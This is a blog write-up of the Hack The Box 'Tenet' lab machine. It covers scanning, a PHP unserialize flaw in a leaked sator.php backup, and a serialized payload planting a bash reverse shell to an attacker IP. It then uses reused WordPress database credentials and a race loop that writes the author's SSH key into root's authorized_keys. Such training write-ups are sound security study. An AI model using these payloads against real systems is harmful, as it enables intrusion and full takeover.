22nd June 2021
Hack The Box Tenet Write-Up by T13nn3s

Hack The Box – Tenet –

In a parallel worlds theory, we can’t know the relationship between consciousness and multiple realities. Does your head hurt yet ? Try to get some sleep.


About Tenet

In this post, I’m writing a write-up for machine Tenet from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Tenet is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15, and submitting the root flag your points will be raised by 30.

After the Nmap port scan, we can find two open ports. The first port is the 22/tcp and the second port is 80/tcp. Through the website http://tenet.htb, we can read a comment from the user account neil. This comment reveals interesting information and we can find the PHP-file, and we can download the file. After analyzing this file we can find a PHP Object Deserialization vulnerability. After exploiting this vulnerability we have a reverse shell as the user account www-data.

After the enumeration phase of this machine, we know that this website is using WordPress. In the directory /var/www/html/wordpress we can read the wp-config.php file. This file contains the credentials for the database connection for the user account neil. With these credentials, we can establish an SSH shell as the user account neil and we can read the user flag.

neil has the permissions to run the bash script /usr/local/bin/enableSSH.sh. This file is creating a file in /tmp directory and reading the contents of this file and adds the contents to the /root/.ssh/authorized_keys file. To get our public key in this file, we have written a little bash script which is adding our public key in a while loop to every file in /tmp directory where the filename starts with ssh.

Machine Info

Hack The Box Tenet Write-Up by T13nn3s
Hack The Box Tenet Write-Up by T13nn3s
Hack The Box Tenet Machine IP and maker
Hack The Box Tenet Machine IP and maker


Port Scan

As always we start this machine with a port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/

The results.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-06 10:08 EST
 Nmap scan report for
 Host is up (0.20s latency).
 Not shown: 998 closed ports
 22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey: 
 |   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
 |   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
 |_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
 80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
 |_http-server-header: Apache/2.4.29 (Ubuntu)
 |_http-title: Apache2 Ubuntu Default Page: It works
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 13.72 seconds

There are two open ports. The first port is 22/tcp the default SSH port. The second port is 80/tcp, this is the default HTTP port. From the banner, we can see the default Apache2 webpage is behind this port.

Enumeration Web server

Let’s start with the enumeration of the web server. We can visit the website by visiting the URL As already expected we see the Apache2 Default Page.

Hack The Box Tenet Apache2 Default Page

There is nothing interesting to see here on this page. Let’s start brute-forcing the directories with ffuf. With the use of the common.txt wordlist and with the use of the .txt extension ,we can find the users.txt file.

ffuf -c -w /usr/share/wordlists/wfuzz/general/common.txt -u

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/    \/___/    \/_/


:: Method           : GET
:: URL              :
:: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 200,204,301,302,307,401,403
users                   [Status: 200, Size: 8, Words: 1, Lines: 2]
:: Progress: [951/951] :: Job [1/1] :: 475 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

If we check this file with curl, we can see that this file is almost empty.

~$ curl

We can use more wordlists and keep searching for directories. With the directory-list-2.3-small.txt wordlist, we can find the /wordpress directory. If we are checking this directory, we can notice that we have to add tenet.htb to our hosts’ file. We can now visit the website tenet.htb, and we got redirected to a new webpage.

Hack The Box Tenet website

If we are walking through the pages on this website, we can find an interesting comment from neil on the ‘MIgration’ article. This article points to the URL http://tenet.htb/index.php/2020/12/16/logs/. This comment is talking about a ‘sator’ PHP-file and about ‘the backup’.

Hack The Box Tenet migration comment from neil

There has to be a sator.php file somewhere and maybe and /backup or /backups directory? Let’s try to find those files. After some tries, we can found the sator.php file through

Hack The Box Tenet sator php

We have already found the users.txt file, but that file does not contain any user account. The comment is also talking about a backup file, most backup files have a .bak extension. And again, after some tries, we are able able to download the sator.php.bak file through the URL


PHP Object Deserialization

After downloading the sator.php.bak file, we can read the contents of it.


class DatabaseExport
    public $user_file = 'users.txt';
    public $data = '';
    public function update_db()
             echo '[+] Grabbing users from text file <br>';             
             $this-> data = 'Success';

    public function __destruct()
             file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
             echo '[] Database updated <br>';     
    //       echo 'Gotta get this working properly...';     }

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();


If we are taking a closer look at this file, we see the the inputs from the arepo parameter get de-serialized. We are talking about serialization and de-serialization of data. Serialization of data means that it’s being converted to a format so that it can easy to be stored. And de-serialization is the opposite of the process, it’s the process that the data is converted back to a readable format. Ippsec has a nice explanation about PHP Object Deserialization on YouTube.

The sator.php file contains the class DatabaseExport. This class is using the PHP magic method __desctruct(). More information about PHP magic methods can be found here. The __destruct() function is using the user_file variable to define a filename and the $data variable to add contents to this file. We can exploit this function to gain a reverse shell through Remote Command Execution (RCE). For that, we need to write a payload which is creating a PHP-file with a reverse shell payload in the file. Then, we can serialize our payload en URL-encoding it and send it in through the arepo parameter to the server.

After some time development, we have this exploit payload.


class ExportDatabase
       public $user_file = 'exploit.php';
       public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/ 0>&1\'"); ?>';

echo urlencode(serialize(new ExportDatabase));


I have wrote a bash script, so that we can play around with the payload.


Reverse shell as www-data

We set our netcat listener on port 4444 and then our final command, to get the payload working.

~$ bash exploit.sh 'O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A11%3A%22exploit.php%22%3Bs%3A4%3A%22data%22%3Bs%3A74%3A%22%3C%3Fphp+exec%28%22%2Fbin%2Fbash+-c+%27bash+-i+%3E+%2Fdev%2Ftcp%2F10.10.16.144%2F4444+0%3E%261%27%22%29%3B+%3F%3E%22%3B%7D'
HTTP/1.1 200 OK
Date: Wed, 10 Feb 2021 20:29:43 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 87
Content-Type: text/html; charset=UTF-8
[+] Grabbing users from text file 

[] Database updated 
[] Database updated 

The reverse shell is established. We have a shell as the user www-data. And, we can directly upgrade our shell with Python. If we are listing the files, we see an interesting folder called wordpress.

~$ netcat -lvvp 4444
listening on [any] 4444 …
connect to [] from tenet.htb [] 32854
python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/var/www/html$ ls -la
ls -la
total 40
drwxr-xr-x 3 www-data www-data  4096 Feb 10 20:29 .
drwxr-xr-x 3 root     root      4096 Dec 16 11:26 ..
-rw-r--r-- 1 www-data www-data    74 Feb 10 20:29 exploit.php
-rw-r--r-- 1 www-data www-data 10918 Dec 16 11:19 index.html
-rwxr-xr-x 1 www-data www-data   514 Dec 17 09:40 sator.php
-rwxr-xr-x 1 www-data www-data   514 Dec 17 09:52 sator.php.bak
-rw-r--r-- 1 www-data www-data     7 Feb 10 20:29 users.txt
drwxr-xr-x 5 www-data www-data  4096 Jan  7 10:04 wordpress

This website is using the Content Management System (CMS) WordPress. WordPress needs a MySQL database to store the contents in it. the wp-config.php file contains the configuration for the connection to the database. Let’s read this file.

[email protected]:/var/www/html/$ cd wordpress
[email protected]:/var/www/html/wordpress$ cat config.php
define( 'DB_NAME', 'wordpress' );

 /** MySQL database username */ 
 define( 'DB_USER', 'neil' );

 /** MySQL database password */
 define( 'DB_PASSWORD', 'Opera2112' );

 /** MySQL hostname */
 define( 'DB_HOST', 'localhost' );

From this file we can find the credentials for the user account neil and we can switch to this user to read the user flag.

[email protected]:/var/www/html/wordpress$ su - neil
su - neil
Password: Opera2112
[email protected]:~$ cat user.txt
cat user.txt
[email protected]:~$

Privilege Escalation


The user account neil has the proper permissions to use SSH. So, we can get a full shell through SSH with the password Opera2112.

~$ ssh [email protected]
The authenticity of host 'tenet.htb (' can't be established.
ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tenet.htb,' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

* Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Wed Feb 10 20:44:54 UTC 2021

System load:  0.0                Processes:             174
Usage of /:   15.1% of 22.51GB   Users logged in:       0
Memory usage: 9%                 IP address for ens160:
Swap usage:   0% 

0 packages can be updated.
0 of these updates are security updates.

Last login: Thu Dec 17 10:59:51 2020 from
[email protected]:~$

As always, let’s first check which files neil may run with root privileges.

[email protected]:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
     (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

Well, let’s read the contents of the file enableSSH.sh.


checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                   /bin/echo "Successfully added $sshName to authorized_keys file!"

                     /bin/echo "Error in adding $sshName to authorized_keys file!"


checkFile() {

     if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                 exit 1

addKey() {

     tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

     (umask 110; touch $tmpName) /bin/echo $key >>$tmpName

     checkFile $tmpName

     /bin/cat $tmpName >>/root/.ssh/authorized_keys
     /bin/rm $tmpName

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl [email protected]"

Especially the last function addKey() is the most interesting part. This part is reading the contents of the file $tmpName with a randomly generated name, and added it to the authorized_keys from the user account root. If we can get our public key in that file we can get an SSH session as root.

Let’s create a new key-pair.

~$ ssh-keygen -t ed25519 -f id_ed25519
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_ed25519
Your public key has been saved in id_ed25519.pub
The key fingerprint is:
SHA256:z6UcoYcvViaHL59Iq94Ja0vFmdMy6GrmPMQmo8ndWpM [email protected]
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|                 |
|          .      |
|       o B .     |
|   .  . S B .    |
|  o +… / +     |
|.o.=.E+ = B      |
|o. o=+o* B .     |
|   ==+=o= o      |

We have now generated our key-pair. We need now write an exploit to write this public key to any file in the /tmp directory to a file which filename starts with ssh.

Own Tenet

After some time of development, I have created this bash script. While developing this script, I first used the greater-than (>>) sign to write to the file. But because there is a wildcard (asterisk) symbol in the script, I got the ambiguous redirect error message. After searching the Internet, I replaced the greater-than sign with tee. I have saved this script to the filename run.sh.

 while true;
     echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICjPDmOW7K1qXO8BOA8YZnb3CskMr1ynrkb5f1q5yjlv [email protected]" | tee /tmp/ssh* 2>&1

Let’s start this script.

[email protected]:~$ bash run.sh

We can now start the EnableSSH.sh script. Our exploit run.sh will monitor the /tmp directory and add our public key to every file which is starting with the suffix ssh. After running the script, we can establish an SSH session as root with our private key.

After our public key is written to the authorized_hosts for the user account root, we can establish an SSH session as root and read the root flag.

~$ ssh [email protected] -i ./id_ed25519
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

 System information as of Wed Feb 10 21:43:04 UTC 2021
 System load:  0.62               Processes:             185
 Usage of /:   15.1% of 22.51GB   Users logged in:       1
 Memory usage: 10%                IP address for ens160:
 Swap usage:   0% 

0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Jan 13 08:03:48 2021
[email protected]:~# cat /root/root.txt 

Thanks for reading this write-up. Did you like this write-up? Please consider spending a respect point. My HTB profile: https://app.hackthebox.eu/profile/224856. Thanks in advance!

And again: Happy hacker face 🙂


I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *